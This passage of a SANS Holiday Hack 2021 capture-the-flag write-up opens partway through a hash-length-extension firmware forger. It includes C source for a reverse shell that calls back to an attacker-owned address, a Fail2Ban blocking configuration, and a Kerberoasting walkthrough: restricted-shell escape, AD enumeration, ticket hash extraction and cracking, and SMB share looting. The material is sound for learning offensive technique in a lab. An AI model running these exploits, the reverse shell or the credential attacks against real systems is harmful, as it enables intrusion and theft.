        firmware_export = json.loads(f.read())

    # We open our malicious ZIP file
    with open(sys.argv[2], 'rb') as f:
        file_to_append_content = f.read()

    # We get the original information from firmware-export.json
    original_firmware = base64.b64decode(firmware_export['firmware'])
    original_sig = firmware_export['signature']
    original_algorithm = firmware_export['algorithm']
    secret_length = firmware_export['secret_length']

    # We prepare our hash length extension attack
    extender = hlextend.new(original_algorithm.lower())
    new_file = extender.extend(file_to_append_content, original_firmware, secret_length, original_sig, raw=True)
    new_sig = extender.hexdigest()

    # We encode our backdoored file
    zip_value_encoded = base64.b64encode(new_file)

    # We create our new firmware in JSON
    firmware_json = {'secret_length': secret_length, 'algorithm': original_algorithm}
    firmware_json['firmware'] = zip_value_encoded
    firmware_json['signature'] = new_sig

    print json.dumps(firmware_json)

if __name__ == '__main__':
    main()

We'll first try our length extension attack with an innocuous ZIP file. Let's ZIP up the ls binary, and see what happens:

$ zip -r ls.zip /bin/ls
  adding: bin/ls (deflated 57%)
$ ./forge.py
usage: ./forge.py <firmware-export.json> <zip_file_to_append>
$ ./forge.py firmware-export.json ls.zip > firmware-forge-ls.json

Now let's upload our forged firmware:

Hurray, we passed the signature check! However, since there is no firmware.bin in our ZIP file, the update did not work. Now, we just have to create a backdoor called firmware.bin, and we should be good to go:

/* credits to http://blog.techorganic.com/2015/01/04/pegasus-hacking-challenge/ */
/* reverse_shell.c */

#include <stdio.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>

#define REMOTE_ADDR "IP_YOU_OWN"
#define REMOTE_PORT PORT_YOU_LISTEN_ON

int main(int argc, char *argv[])
{
    struct sockaddr_in sa;
    int s;

    sa.sin_family = AF_INET;
    sa.sin_addr.s_addr = inet_addr(REMOTE_ADDR);
    sa.sin_port = htons(REMOTE_PORT);

    s = socket(AF_INET, SOCK_STREAM, 0);
    connect(s, (struct sockaddr *)&sa, sizeof(sa));
    dup2(s, 0);
    dup2(s, 1);
    dup2(s, 2);

    execve("/bin/sh", 0, 0);
    return 0;
}

$ gcc -o firmware.bin reverse_shell.c
reverse_shell.c: In function ‘main’:
reverse_shell.c:29:5: warning: null argument where non-null required (argument 2) [-Wnonnull]
   29 |     execve("/bin/sh", 0, 0);
      |     ^~~~~~
$ zip -r reverse_shell.zip firmware.bin
  adding: firmware.bin (deflated 83%)
$ ./forge.py firmware-export.json reverse_shell.zip > firmware-forged-backdoor.json

Let's upload our backdoor:

Oh yeah! Now we check on our reverse shell:

$ nc -nlvp $PORT
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::$PORT
Ncat: Listening on 0.0.0.0:$PORT
Ncat: Connection from 34.121.219.20.
Ncat: Connection from 34.121.219.20:40030.
python -c "import pty; pty.spawn('/bin/bash')"
app@44a226b5ae56:/app$ grep '.xlsx' /var/spool/printer.log
grep '.xlsx' /var/spool/printer.log
Q4 Game Floor Earnings.xlsx
Troll_Pay_Chart.xlsx

The last printed .xlsx file is called Troll_Pay_Chart.xlsx.

Objective 8:

Eve Snowshoes's Cranberry Pi Challenge

Jack is trying to break into Santa's workshop!

Santa's elves are working 24/7 to manually look through logs, identify the
malicious IP addresses, and block them. We need your help to automate this so
the elves can get back to making presents!

Can you configure Fail2Ban to detect and block the bad IPs?

 * You must monitor for new log entries in /var/log/hohono.log
 * If an IP generates 10 or more failure messages within an hour then it must
   be added to the naughty list by running naughtylist add <ip>
        /root/naughtylist add 12.34.56.78
 * You can also remove an IP with naughtylist del <ip>
        /root/naughtylist del 12.34.56.78
 * You can check which IPs are currently on the naughty list by running
        /root/naughtylist list

You'll be rewarded if you correctly identify all the malicious IPs with a
Fail2Ban filter in /etc/fail2ban/filter.d, an action to ban and unban in
/etc/fail2ban/action.d, and a custom jail in /etc/fail2ban/jail.d. Don't
add any nice IPs to the naughty list!

*** IMPORTANT NOTE! ***

Fail2Ban won't rescan any logs it has already seen. That means it won't
automatically process the log file each time you make changes to the Fail2Ban
config. When needed, run /root/naughtylist refresh to re-sample the log file
and tell Fail2Ban to reprocess it.

root@66b263e0bc97:~#

Alright, we need to write custom fail2ban rules to block Jack from attacking Santa's workshop. To do so, we're told to create:

A custom filter in /etc/fail2ban/filter.d. This filter will contain the regular expressions used to match malicious entries and ignored entries in our log file.
A custom action in /etc/fail2ban/action.d. This action will contain commands to ban and unban IP addresses.
A custom jail in /etc/fail2ban/jail.d. This jail will take the path to our log file, our custom filter, our custom action, and the parameters to determine whether to block an IP or not (here, we're told that 10 failures within an hour should warrant a block.

If we take a look at /var/log/hohono.log, we see seven types of messages:

Failure messages - Failed login from <HOST> for <username> - Login from <HOST> rejected due to unknown user name - Invalid heartbeat <heartbeat> from <HOST> - <HOST> sent a malformed request
Success messages - Valid heartbeat from <HOST> - <HOST>: Request completed successfully - Login from <HOST> successful

We can create our filter /etc/fail2ban/filter.d/hohono.conf with the following content:

[Definition]
failregex = Failed login from <HOST> for .*
            Login from <HOST> rejected due to unknown user name
            Invalid heartbeat .* from <HOST>
            <HOST> sent a malformed request
ignoreregex = Valid heartbeat from <HOST>
              <HOST>: Request completed successfully
              Login from <HOST> successful

We can test our regular expressions against the actual log file:

root@66b263e0bc97:~# fail2ban-regex /var/log/hohono.log /etc/fail2ban/filter.d/hohono.conf

Running tests
=============

Use   failregex filter file : hohono, basedir: /etc/fail2ban
Use         log file : /var/log/hohono.log
Use         encoding : UTF-8


Results
=======

Failregex: 3851 total
|-  #) [# of hits] regular expression
|   1) [956] Failed login from <HOST> for .*
|   2) [916] Login from <HOST> rejected due to unknown user name
|   3) [994] Invalid heartbeat .* from <HOST>
|   4) [985] <HOST> sent a malformed request
`-

Ignoreregex: 28482 total
|-  #) [# of hits] regular expression
|   1) [9508] Valid heartbeat from <HOST>
|   2) [9666] <HOST>: Request completed successfully
|   3) [9308] Login from <HOST> successful
`-

Date template hits:
|- [# of hits] date format
|  [32333] {^LN-BEG}ExYear(?P<_sep>[-/.])Month(?P=_sep)Day(?:T|  ?)24hour:Minute:Second(?:[.,]Microseconds)?(?:\s*Zone offset)?
`-

Lines: 32333 lines, 28482 ignored, 3851 matched, 0 missed
[processed in 3.30 sec]

Ignored line(s): too many to print.  Use --print-all-ignored to print all 28482 lines

Alright, we did not miss any line in our log file!

Next, our custom action. We're told to use commands /root/naughtylist add and /root/naughtylist del to ban or uban IP addresses. We can create our action /etc/fail2ban/action.d/hohono.conf with the following content:

[Definition]
actionban = /root/naughtylist add <ip>
actionunban = /root/naughtylist del <ip>

Finally, we create our custom jail /etc/fail2ban/jail.d/hohono.conf:

[hohono]
enabled = true
logpath = /var/log/hohono.log
# number of failures to look for
maxretry = 10
# we want a one hour window
findtime = 3600
filter = hohono
banaction = hohono

We then reload fail2ban's configuration:

root@66b263e0bc97:~# fail2ban-client reload
OK
root@66b263e0bc97:~# fail2ban-client status
Status
|- Number of jail:      1
`- Jail list:   hohono

Then we refresh the naughty list:

root@66b263e0bc97:~# /root/naughtylist refresh
Refreshing the log file...
root@66b263e0bc97:~# Log file refreshed! It may take fail2ban a few moments to re-process.

214.176.63.173 has been added to the naughty list!
163.152.99.43 has been added to the naughty list!
174.174.81.230 has been added to the naughty list!
46.43.167.137 has been added to the naughty list!
184.242.117.119 has been added to the naughty list!
171.141.80.137 has been added to the naughty list!
35.220.156.225 has been added to the naughty list!
222.177.169.253 has been added to the naughty list!
154.189.209.70 has been added to the naughty list!
188.141.185.1 has been added to the naughty list!
126.143.139.119 has been added to the naughty list!
173.165.146.7 has been added to the naughty list!
42.98.4.139 has been added to the naughty list!
42.150.175.243 has been added to the naughty list!
114.132.137.115 has been added to the naughty list!
You correctly identifed 15 IPs out of 15 bad IPs
You incorrectly added 0 benign IPs to the naughty list




*******************************************************************
* You stopped the attacking systems! You saved our systems!
*
* Thank you for all of your help. You are a talented defender!
*******************************************************************

Kerberoasting on an Open Fire

We have to recover a secret sleigh research document on the Elf University network. To gain access, we have to register on the ElfU portal. We put a fake name, surname, and email address, and the protal gives us credentials:

ElfU Registration Portal

New Student Domain Account Creation Successful!

You can now access the student network grading system by SSH'ing into this asset using the command below:

ssh xojpwgcens@grades.elfu.org -p 2222

ElfU Domain Username: xojpwgcens

ElfU Domain Password: Xuuqgefth#

Great, we can SSH onto the ElfU network. However, we seem to be stuck in a limited shell:

===================================================
=      Elf University Student Grades Portal       =
=          (Reverts Everyday 12am EST)            =
===================================================
1. Print Current Courses/Grades.
e. Exit
:

We only have two options: 1, to print our grades, and e to exit. I tried to break out of this limited shell by inputing malicious data, such as 1;/bin/bash, ${whoami}, etc. But the right move is to send Ctrl+D:

===================================================
=      Elf University Student Grades Portal       =
=          (Reverts Everyday 12am EST)            =
===================================================
1. Print Current Courses/Grades.
e. Exit
: Traceback (most recent call last):
  File "/opt/grading_system", line 41, in <module>
    main()
  File "/opt/grading_system", line 26, in main
    a = input(": ").lower().strip()
EOFError
>>>

We escaped from our limited shell, /opt/grading_system, and were dropped in a Python console. We can easily spawn a bash shell using the following code:

>>> import pty
>>> pty.spawn('/bin/bash')
xojpwgcens@grades:~$

Great, now we have a true shell access. Let's modify our login shell from /opt/grading_system to /bin/bash so we don't have to escape every time we connect:

xojpwgcens@grades:~$ chsh -s /bin/bash

Now, let's disconnect and reconnect with the -D option of SSH, so that we can use our connection as a proxy to the ElfU network. Combined with a tool like proxychains, this will allow us to communicate with the internal network from our external computer:

$ % ssh -p 2222 -D 4242 xojpwgcens@grades.elfu.org
xojpwgcens@grades.elfu.org's password:
xojpwgcens@grades:~$

Now, given the name of the objective and the fact that we're told that ElfU uses a domain, we can venture that there's an Active Directory domain to compromise. The first step is to find a Domain Controller. DCs often carry the role of DNS servers, so let's take a look at /etc/resolv.conf to see what DNS servers we have configured:

xojpwgcens@grades:~$ cat /etc/resolv.conf
search c.holidayhack2021.internal. google.internal.
nameserver 10.128.1.53

10.128.1.53 seems a good candidate. Let's scan it with nmap, luckily installed on the grades.elfu.org server, to confirm that's the case:

xojpwgcens@grades:~$ nmap -Pn -sV 10.128.1.53
Starting Nmap 7.80 ( https://nmap.org ) at 2022-01-04 11:22 UTC
Nmap scan report for hhc21-windows-dc.c.holidayhack2021.internal (10.128.1.53)
Host is up (0.00057s latency).
Not shown: 988 filtered ports
PORT     STATE SERVICE       VERSION
53/tcp   open  domain?
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2022-01-04 11:22:18Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: elfu.local0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: elfu.local0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
3389/tcp open  ms-wbt-server Microsoft Terminal Services
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.80%I=7%D=1/4%Time=61D42DEF%P=x86_64-pc-linux-gnu%r(DNSVe
SF:rsionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07version\x
SF:04bind\0\0\x10\0\x03");
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 146.79 seconds

Well this definitely looks like a DC for the domain elfu.local. Let's try to interrogate it with our user account. To do so, I'm using pywerview, developped by yours truly and my dear friend and colleague, ThePirateWhoSmellsOfSunflowers. It's a Python port of most functions of PowerView, by PowerShellMafia. I use it all the time during internal assessment. Let's use the get-netuser function to get a list of domain users.

I first configure proxychains to connect through the SSH connection, and to use the DC as a DNS server:

$ tail -n 2 /etc/proxychains.conf
socks4      127.0.0.1 4242
$ grep DNS_SERVER= /usr/lib/proxychains3/proxyresolv
DNS_SERVER=${PROXYRESOLV_DNS:-10.128.1.53}

Now we can use pywerview through our SSH connection:

$ proxychains pywerview get-netuser -t 10.128.1.53 -u xojpwgcens -p 'Xuuqgefth#'
ProxyChains-3.1 (http://proxychains.sf.net)
|S-chain|-<>-127.0.0.1:4242-<><>-10.128.1.53:445-<><>-OK
|S-chain|-<>-127.0.0.1:4242-<><>-10.128.1.53:445-<><>-OK
|S-chain|-<>-127.0.0.1:4242-<><>-10.128.1.53:389-<><>-OK
objectclass:           top, person, organizationalPerson, user
cn:                    hyxtwnyytl
distinguishedname:     CN=hyxtwnyytl,CN=Users,DC=elfu,DC=local
instancetype:          4
whencreated:           2022-01-04 11:31:25+00:00
whenchanged:           2022-01-04 11:31:25+00:00
displayname:           hyxtwnyytl
usncreated:            106185
usnchanged:            106189
name:                  hyxtwnyytl
objectguid:            {bd879bd1-4996-4b85-a596-e7f8343c43f6}
useraccountcontrol:    NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD
badpwdcount:           0
codepage:              0
countrycode:           0
badpasswordtime:       1601-01-01 00:00:00+00:00
lastlogoff:            1601-01-01 00:00:00+00:00
lastlogon:             1601-01-01 00:00:00+00:00
pwdlastset:            2022-01-04 11:31:25.370573+00:00
primarygroupid:        513
objectsid:             S-1-5-21-2037236562-2033616742-1485113978-1575
accountexpires:        9999-12-31 23:59:59.999999+00:00
logoncount:            0
samaccountname:        hyxtwnyytl
samaccounttype:        805306368
userprincipalname:     hyxtwnyytl@elfu.local
objectcategory:        CN=Person,CN=Schema,CN=Configuration,DC=elfu,DC=local
dscorepropagationdata: 2022-01-04 11:31:25+00:00, 1601-01-01 00:00:00+00:00

[snip]

The output is pretty long (lots of other contestants' accounts), so I won't paste it all. Let's search for an account with a serviceprincipalname attribute. Indeed, only users with a configured SPN can be compromised via Kerberoasting. It's actually an attack we already talked about in a previous SANS Christmas challenge.

Let's re-run get-netuser with the --spn option:

$ proxychains pywerview get-netuser -t 10.128.1.53 -u xojpwgcens -p 'Xuuqgefth#' --spn
ProxyChains-3.1 (http://proxychains.sf.net)
|S-chain|-<>-127.0.0.1:4242-<><>-10.128.1.53:445-<><>-OK
|S-chain|-<>-127.0.0.1:4242-<><>-10.128.1.53:445-<><>-OK
|S-chain|-<>-127.0.0.1:4242-<><>-10.128.1.53:389-<><>-OK
objectclass:           top, person, organizationalPerson, user
cn:                    ElfU Service
sn:                    Service
givenname:             ElfU
distinguishedname:     CN=ElfU Service,CN=Users,DC=elfu,DC=local
instancetype:          4
whencreated:           2021-10-29 19:25:04+00:00
whenchanged:           2022-01-04 10:42:25+00:00
displayname:           ElfU Service
usncreated:            12772
usnchanged:            105830
name:                  ElfU Service
objectguid:            {4895f1a6-6ecc-4320-a672-c154234c5abc}
useraccountcontrol:    NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD
badpwdcount:           0
codepage:              0
countrycode:           0
badpasswordtime:       2022-01-04 10:25:11.359457+00:00
lastlogoff:            1601-01-01 00:00:00+00:00
lastlogon:             2022-01-04 10:53:18.963085+00:00
pwdlastset:            2021-10-29 19:25:04.305279+00:00
primarygroupid:        513
objectsid:             S-1-5-21-2037236562-2033616742-1485113978-1105
accountexpires:        9999-12-31 23:59:59.999999+00:00
logoncount:            8
samaccountname:        elfu_svc
samaccounttype:        805306368
userprincipalname:     elfu_svc@elfu.local
serviceprincipalname:  ldap/elfu_svc/elfu, ldap/elfu_svc/elfu.local, ldap/elfu_svc.elfu.local/elfu,
                       ldap/elfu_svc.elfu.local/elfu.local
objectcategory:        CN=Person,CN=Schema,CN=Configuration,DC=elfu,DC=local
dscorepropagationdata: 2021-10-29 19:25:04+00:00, 1601-01-01 00:00:00+00:00
lastlogontimestamp:    2022-01-04 10:42:25.465366+00:00

[snip]

I'm leaving out the krbtgt user, used to manage the Kerberos service. It has an SPN but its password is fully random and is likely impossible to crack. However, the elfu_svc@elfu.local user seems to be a prime target for Kerberoasting. Let's use GetUserSPNs.py from impacket (impacket is awesome, I love impacket so much):

$ proxychains GetUserSPNs.py -dc-ip 10.128.1.53 -request 'elfu.local/xojpwgcens:Xuuqgefth#' -outputfile hash_elfu_svc.txt
ProxyChains-3.1 (http://proxychains.sf.net)
Impacket v0.9.25.dev1+20211027.123255.1dad8f7f - Copyright 2021 SecureAuth Corporation

|S-chain|-<>-127.0.0.1:4242-<><>-10.128.1.53:389-<><>-OK
ServicePrincipalName                 Name      MemberOf  PasswordLastSet             LastLogon                   Delegation
-----------------------------------  --------  --------  --------------------------  --------------------------  ----------
ldap/elfu_svc/elfu                   elfu_svc            2021-10-29 21:25:04.305279  2022-01-04 12:38:20.102998
ldap/elfu_svc/elfu.local             elfu_svc            2021-10-29 21:25:04.305279  2022-01-04 12:38:20.102998
ldap/elfu_svc.elfu.local/elfu        elfu_svc            2021-10-29 21:25:04.305279  2022-01-04 12:38:20.102998
ldap/elfu_svc.elfu.local/elfu.local  elfu_svc            2021-10-29 21:25:04.305279  2022-01-04 12:38:20.102998



|S-chain|-<>-127.0.0.1:4242-<><>-10.128.1.53:88-<><>-OK
|S-chain|-<>-127.0.0.1:4242-<><>-10.128.1.53:88-<><>-OK
|S-chain|-<>-127.0.0.1:4242-<><>-10.128.1.53:88-<><>-OK
$ cat hash_elfu_svc.txt
$krb5tgs$23$*elfu_svc$ELFU.LOCAL$elfu.local/elfu_svc*$37d1d66c6015f8a39a937daf41a098c9$05cf17a586567934e470f9eb5709e9449ebf609cee030f5c1fef2ce1ba98fd66ba7e5a93d37f9d5ac85a05e60cc8e1f25e4773923d7ff92f91aba0275607707bfcb97497ac55be7bd87fe4e782509473809e0e7d92c71f1f7fcc215f65953a449f6e9e020189f04bde63df1ed2c083141f5012fd952fc87d575dfe5dedabd4ef9ecf8acdf95755a01d62e88364e623d8517f59480e156654b00fb9488218f1802ee185227b003d2f4cfcff8bb5b89dab2c0bf852842e839622e9d181d4394ad836543a8ba7f71954fc03a4b9c449d73b50f49ee138c7ca152862970c9602395468c2d6d7f2f4af53def25fa38d9e7fa725ce97a1040b3ac12e7577c36fbf3c1baf715844e180d1c5d76c4db912336d3dc6f412812325099ab8eae5250e9b34f750fc1ef831a544da0f8112a19332dc7413131622d26b69b1a544f5cb190402e2eeaab26da954465d20f7afbc99fc7b6a078db7a5a03a7fe9aa5fba64d4f03f91c5bd9f3ca4f7280754d334db7731b4a33e3bdc32d746be2336f0186388a09f904a68ad3f75c76dcfca437c730980fc6db5cc22d18aac230c3d0130f9b9410f076d4a98ff3937774529543ca71dbfbdd2c3d37c64f5241048c9ac3c294ef74041e18cd2f8e64a349bc1ce9934744f98a735da6e4d7efa0209c7ee2cd853d9a2e778496890c891f6b404d436e8dcb0e985cbe5976899f01e659ae310e45bb3b28b48f5f2f35cf6d0c03763f450f51289d7657299dcdaea79d5633a1e674f97b5a9a91e5bb992f2f6e7250e6932d0510fd2ba2c4cf41f6838b14477a5c68665d00ff19c2afe0ce3c37e916cf7fd4f399b32308d16bd81fcef6a1489b728f96b8a6c07f7b3095deb7fd0a0eaee8114d2c06fe14e4fdee33f92b0e931cfd07d944e5f7b3ba6c50e1f186313986d06627efa3803957ac3138eff4a80674c051e34e17d24075a17f93247315d92446df37a0c112033054df89555ee0fe660b704df30c406b63d441734eb55a87809665d99ad25961a05fa8871d790d5e4124cef657f46b44e8ed5023af4b4be8f9a7d0a81dfdc9543b6e31bf0d79974e689b74a7aaa463fbe3fc796826240e280b0fd3ea5c5ca3ebbc8499196a7ca5ccd2a91e7bcfd60bf102342a3c89fe715e99bf22edf0e62b9ca68b6ba6fc358befdb31f55129fce51364304e809c61cfd5962b735971674e55637cc6b6006174d2a0e1e94c27eecf21a23b18553511b022c7f0e092bc570b0b02d391a7705e641e1648b9d0f922d6a02106dbc1ece729b77d65902896c09467cbb2ed15663ebcde82b2720f8f3dbb61797ae7cb78f77065fbe65ae9579d32a4c602699867c961a39ff73ab3f01da431ce7f73b7651580ffb3f30a280e81d752ae39e4aca990337d59f2b81692d9e275547ab0723833754fbf8aedc0714ada33cc0ce3a1545e7e22b5f239d52bc524996bff62f

Awesome, we got a hash to crack! Let's fire up john and get that sweet, sweet password.

Now, I tried several wordlists from SecLists with several rules from john, but it didn't work. If we ask Eve Snowshoes for advice, here's what she tells us:

Got a hash that won't crack with your wordlist? OneRuleToRuleThemAll.rule is a great way to grow your keyspace.

Where'd you get your wordlist? CeWL might generate a great wordlist from the ElfU website, but it will ignore digits in terms by default.

If we take a look at the ElfU website, we see some potential password candidates in the comments:

<!-- Remember the groups battling to win the karaoke contest earleir this year? I think they were rocks4socks, cookiepella, asnow2021,
v0calprezents, Hexatonics, and reindeers4fears. Wow, good times! -->

I wouldn't have gotten any of them in a default wordlist, so let's run cewl, using --with-numbers to get candidates with numbers in them:

$ cewl --with-numbers -w elfu_wordlist.txt https://register.elfu.org/register

Now let's add the OneRuleToRuleThemAll.rule file to our john configuration:

$ cp ./OneRuleToRuleThemAll.rule ~/bin/JohnTheRipper/run/rules/
$ grep -A 3 List.Rules:OneRuleToRuleThemAll ~/bin/JohnTheRipper/run/john.conf
[List.Rules:OneRuleToRuleThemAll]
!! hashcat logic ON
.include <rules/OneRuleToRuleThemAll.rule>
!! hashcat logic OFF

Rules at lines 8210 and 42458 caused some problems, so I just deleted them. Now we can finally crack our hash:

$ ~/bin/JohnTheRipper/run/john --format=krb5tgs --wordlist=./elfu_wordlist.txt --rules=OneRuleToRuleThemAll ./hash_elfu_svc.txt
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Snow2021!        (?)
1g 0:00:00:01 DONE (2022-01-04 12:58) 0.5813g/s 1822Kp/s 1822Kc/s 1822KC/s Sed..karaokebut
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

The password of account elfu_svc@elfu.local is Snow2021!. Hmm, I feel like I could have found that password without creating a wordlist and using a custom rule, but it is what it is 🤷‍♂️.

Anyway, we now have a new account! But where can we use it? Let's ask for a list of domain computers, using pywerview's get-netcomputer:

$ proxychains pywerview get-netcomputer -t 10.128.1.53 -u xojpwgcens -p 'Xuuqgefth#'
ProxyChains-3.1 (http://proxychains.sf.net)
|S-chain|-<>-127.0.0.1:4242-<><>-10.128.1.53:445-<><>-OK
|S-chain|-<>-127.0.0.1:4242-<><>-10.128.1.53:445-<><>-OK
|S-chain|-<>-127.0.0.1:4242-<><>-10.128.1.53:389-<><>-OK
dnshostname: share30.elfu.local

dnshostname: DC01.elfu.local

Hey, share30.elfu.local, that looks like a promising server! But it's not... The hostname does not resolve (in fact, even DC01.elfu.local does not resolve, weird). So let's look for other servers. We're looking for a secret document, so let's look at SMB shares. Since the DC is 10.128.1.53, I first tried 10.128.1.0/24, but I only found the DC in this range. Same for 10.128.1.0/23. However, I found other servers in the 10.128.1.0/22 range:

xojpwgcens@grades:~$ nmap -Pn -n -p 445 --open -oG tcp_445_open_10.128.1.0.22.gnmap 10.128.1.0/22
Starting Nmap 7.80 ( https://nmap.org ) at 2022-01-04 12:18 UTC
Nmap scan report for 10.128.1.53
Host is up (0.0012s latency).

PORT    STATE SERVICE
445/tcp open  microsoft-ds

Nmap scan report for 10.128.2.3
Host is up (0.00011s latency).

PORT    STATE SERVICE
445/tcp open  microsoft-ds

Nmap scan report for 10.128.2.6
Host is up (0.000084s latency).

PORT    STATE SERVICE
445/tcp open  microsoft-ds

Nmap scan report for 10.128.2.7
Host is up (0.0021s latency).

PORT    STATE SERVICE
445/tcp open  microsoft-ds

Nmap scan report for 10.128.2.9
Host is up (0.0015s latency).

PORT    STATE SERVICE
445/tcp open  microsoft-ds
[snip]

Many SMB servers were found. You can get the .gnmap file here.

Let's explore these SMB servers. To do so, I like to use SMBCrunch, a collection of Perl scripts:

SMBHunt takes a .gnmap file and credentials, and lists exposed SMB shares.
SMBList takes the result from SMBHunt and credentials, and lists the content of accessible shares.
SMBGrab takes result of SMBList and can download files we want.

Let's launch SMBHunt with our elfu_svc@elfu.local account:

$ proxychains ~/bin/SMBCrunch/SMBHunt.pl -a 'ELFU.LOCAL\elfu_svc:Snow2021!' -i ./tcp_445_open_10.128.1.0.22.gnmap --noipc -o hunt_elfu_svc
ProxyChains-3.1 (http://proxychains.sf.net)
             _____ __  __ ____  _    _             _
            / ____|  \/  |  _ \| |  | |           | |
           | (___ | \  / | |_) | |__| |_   _ _ __ | |_
            \___ \| |\/| |  _ <|  __  | | | | '_ \| __|
            ____) | |  | | |_) | |  | | |_| | | | | |_
           |_____/|_|  |_|____/|_|  |_|\__,_|_| |_|\__|


                            By Chris King
                  @raikiasec


       Note: This script is for share discovery. It does not guarantee
             access to the shares it finds.


    Starting enumerating file shares using domain credential for ELFU.LOCAL\elfu_svc

\\10.128.1.53\ADMIN$
\\10.128.1.53\C$
\\10.128.1.53\NETLOGON
\\10.128.1.53\SYSVOL
\\10.128.3.25\ElfUFiles
\\10.128.3.26\ElfUFiles
\\10.128.3.28\ElfUFiles
\\10.128.3.30\netlogon
\\10.128.3.30\sysvol
\\10.128.3.30\elfu_svc_shr
\\10.128.3.30\research_dep
\\10.128.3.31\ElfUFiles
\\10.128.3.34\ElfUFiles
\\10.128.3.35\ElfUFiles
\\10.128.3.36\ElfUFiles
\\10.128.3.38\ElfUFiles
\\10.128.3.39\ElfUFiles
\\10.128.3.41\ElfUFiles
\\10.128.3.42\ElfUFiles
\\10.128.3.43\ElfUFiles
\\10.128.3.45\ElfUFiles
\\10.128.3.46\ElfUFiles
\\10.128.3.47\ElfUFiles
\\10.128.3.48\ElfUFiles
\\10.128.3.49\ElfUFiles
\\10.128.3.51\ElfUFiles
\\10.128.3.55\ElfUFiles
\\10.128.3.56\ElfUFiles
\\10.128.3.57\ElfUFiles
\\10.128.3.58\ElfUFiles
\\10.128.3.60\ElfUFiles

Done!

Two interesting shares in this list! The first one has the same name as our account, so we may have access to it. The second one is obviously a share for the research department, and if you remember our objective, you know we have to find a research document. It's probably in this share. Let's try to list both their contents:

$ cat shares_to_list.txt
\\10.128.3.30\elfu_svc_shr
\\10.128.3.30\research_dep
$ proxychains ~/bin/SMBCrunch/SMBList.pl -c 'ELFU.LOCAL\elfu_svc:Snow2021!' -s shares_to_list.txt -o list_elfu_svc
ProxyChains-3.1 (http://proxychains.sf.net)

             _____ __  __ ____  _      _     _
            / ____|  \/  |  _ \| |    (_)   | |
           | (___ | \  / | |_) | |     _ ___| |_
            \___ \| |\/| |  _ <| |    | / __| __|
            ____) | |  | | |_) | |____| \__ \ |_
           |_____/|_|  |_|____/|______|_|___/\__|


                        By Chris King
             @raikiasec

Share                               Username                            Password                            Progress
--------------------------------------------------------------------------------------------------------------------------------
\\10.128.3.30\elfu_svc_shr          ELFU.LOCAL\elfu_svc                 Snow2021!                           Success!
\\10.128.3.30\research_dep          ELFU.LOCAL\elfu_svc                 Snow2021!                           Access Denied

We managed to list the content of share elfu_svc_shr, but got our access denied for share research_dep. Oh well, let's look at the content of elfu_svc_shr:

$ head ./list_elfu_svc/10.128.3.30_elfu_svc_shr
# SHARE INFO:   .                                   D        0  Thu Dec  2 17:39:42 2021

ELFU.LOCAL\elfu_svc:Snow2021!|:|\\10.128.3.30\elfu_svc_shr\Get-NavArtifactUrl.ps1
ELFU.LOCAL\elfu_svc:Snow2021!|:|\\10.128.3.30\elfu_svc_shr\Get-WorkingDirectory.ps1
ELFU.LOCAL\elfu_svc:Snow2021!|:|\\10.128.3.30\elfu_svc_shr\Stop-EtwTraceCapture.ps1
ELFU.LOCAL\elfu_svc:Snow2021!|:|\\10.128.3.30\elfu_svc_shr\create-knownissue-function.ps1
ELFU.LOCAL\elfu_svc:Snow2021!|:|\\10.128.3.30\elfu_svc_shr\PsTestFunctions.ps1
ELFU.LOCAL\elfu_svc:Snow2021!|:|\\10.128.3.30\elfu_svc_shr\StoreIngestionApplicationApi.ps1
ELFU.LOCAL\elfu_svc:Snow2021!|:|\\10.128.3.30\elfu_svc_shr\Compile-ObjectsInNavContainer.ps1
ELFU.LOCAL\elfu_svc:Snow2021!|:|\\10.128.3.30\elfu_svc_shr\Run-ConnectionTestToNavContainer.ps1

A lot of PowerShell files. That's always interesting, because some administrators like to hardcode credentials in their scripts. When conducting an internal assessment, I always look for scripts. Let's download them using SMBGrab:

$ grep -E '\.ps1$' ./list_elfu_svc/10.128.3.30_elfu_svc_shr | proxychains ~/bin/SMBCrunch/SMBGrab.pl -a -s ps1_files
ProxyChains-3.1 (http://proxychains.sf.net)

             _____ __  __ ____   _____           _
            / ____|  \/  |  _ \ / ____|         | |
           | (___ | \  / | |_) | |  __ _ __ __ _| |__
            \___ \| |\/| |  _ <| | |_ | '__/ _` | '_ \
            ____) | |  | | |_) | |__| | | | (_| | |_) |
           |_____/|_|  |_|____/ \_____|_|  \__,_|_.__/


                     By Chris King
               @raikiasec


SMBGrab - Chris King

...Get-NavArtifactUrl.ps1                    Success
...Get-WorkingDirectory.ps1                  Success
...Stop-EtwTraceCapture.ps1                  Success
...create-knownissue-function.ps1            Success
[snip]

It takes a while through the proxy, but we eventually get all PowerShell files. Let's grep for passwords:

$ grep -i passw ./ps1_files/*
./ps1_files/10.128.3.30_elfu_svc_shr_AppHandling.ps1:        New-SelfSignedCertificate –Type CodeSigningCert –Subject “CN=FreddyK” | Export-PfxCertificate -FilePath $certFile -Password $Credential.Password
./ps1_files/10.128.3.30_elfu_svc_shr_AppHandling.ps1:        Sign-BcContainerApp -containerName $bcContainerName -appFile $bcAppFile -pfxFile $certFile -pfxPassword $Credential.Password
